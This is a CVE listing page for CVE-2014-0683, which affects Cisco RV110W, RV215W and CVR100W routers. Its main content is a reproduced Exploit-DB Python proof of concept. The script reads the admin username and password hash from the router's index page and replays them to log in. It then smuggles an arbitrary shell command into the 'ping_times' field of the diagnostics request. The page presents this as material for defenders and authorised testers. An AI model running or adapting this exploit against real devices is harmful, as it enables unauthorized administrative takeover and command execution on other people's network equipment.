CVE-2014-0683
Description
The web management interface on the Cisco RV110W firewall with firmware 1.2.0.9 and earlier, RV215W router with firmware 1.1.0.5 and earlier, and CVR100W router with firmware 1.0.1.19 and earlier does not prevent replaying of modified authentication requests, which allows remote attackers to obtain administrative access by leveraging the ability to intercept requests, aka Bug IDs CSCul94527, CSCum86264, and CSCum86275.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Cisco RV110W - Password Disclosure / Command Execution
#!/usr/bin/env python2
#####
## Cisco RV110W Password Disclosure and OS Command Execute.
### Tested on version: 1.1.0.9 (maybe useable on 1.2.0.9 and later.)
# Exploit Title: Cisco RV110W Password Disclosure and OS Command Execute
# Date: 2018-08
# Exploit Author: RySh
# Vendor Homepage: https://www.cisco.com/
# Version: 1.1.0.9
# Tested on: RV110W 1.1.0.9
# CVE : CVE-2014-0683, CVE-2015-6396
import os
import sys
import re
import urllib
import urllib2
import getopt
import json
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
###
# Usage: ./{script_name} 192.168.1.1 443 "reboot"
###
if __name__ == "__main__":
IP = argv[1]
PORT = argv[2]
CMD = argv[3]
# Get session key, Just access index page.
url = 'https://' + IP + ':' + PORT + '/'
req = urllib2.Request(url)
result = urllib2.urlopen(req)
res = result.read()
# parse 'admin_pwd'! -- Get credits
admin_user = re.search(r'.*(.*admin_name=\")(.*)\"', res).group().split("\"")[1]
admin_pwd = re.search(r'.*(.*admin_pwd=\")(.{32})', res).group()[-32:]
print "Get Cred. Username = " + admin_user + ", PassHash = " + admin_pwd
# Get session_id by POST
req2 = urllib2.Request(url + "login.cgi")
req2.add_header('Origin', url)
req2.add_header('Upgrade-Insecure-Requests', 1)
req2.add_header('Content-Type', 'application/x-www-form-urlencoded')
req2.add_header('User-Agent',
'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
req2.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
req2.add_header('Referer', url)
req2.add_header('Accept-Encoding', 'gzip, deflate')
req2.add_header('Accept-Language', 'en-US,en;q=0.9')
req2.add_header('Cookie', 'SessionID=')
data = {"submit_button": "login",
"submit_type": "",
"gui_action": "",
"wait_time": "0",
"change_action": "",
"enc": "1",
"user": admin_user,
"pwd": admin_pwd,
"sel_lang": "EN"
}
r = urllib2.urlopen(req2, urllib.urlencode(data))
resp = r.read()
login_st = re.search(r'.*login_st=\d;', resp).group().split("=")[1]
session_id = re.search(r'.*session_id.*\";', resp).group().split("\"")[1]
# Execute your commands via diagnose command parameter, default command is `reboot`
req3 = urllib2.Request(url + "apply.cgi;session_id=" + session_id)
req3.add_header('Origin', url)
req3.add_header('Upgrade-Insecure-Requests', 1)
req3.add_header('Content-Type', 'application/x-www-form-urlencoded')
req3.add_header('User-Agent',
'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
req3.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
req3.add_header('Referer', url)
req3.add_header('Accept-Encoding', 'gzip, deflate')
req3.add_header('Accept-Language', 'en-US,en;q=0.9')
req3.add_header('Cookie', 'SessionID=')
data_cmd = {"submit_button": "Diagnostics",
"change_action": "gozila_cgi",
"submit_type": "start_ping",
"gui_action": "",
"traceroute_ip": "",
"commit": "1",
"ping_times": "3 |" + CMD + "|",
"ping_size": "64",
"wait_time": "4",
"ping_ip": "127.0.0.1",
"lookup_name": ""
}
r = urllib2.urlopen(req3, urllib.urlencode(data_cmd))
References
CWEs
CWE-255
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.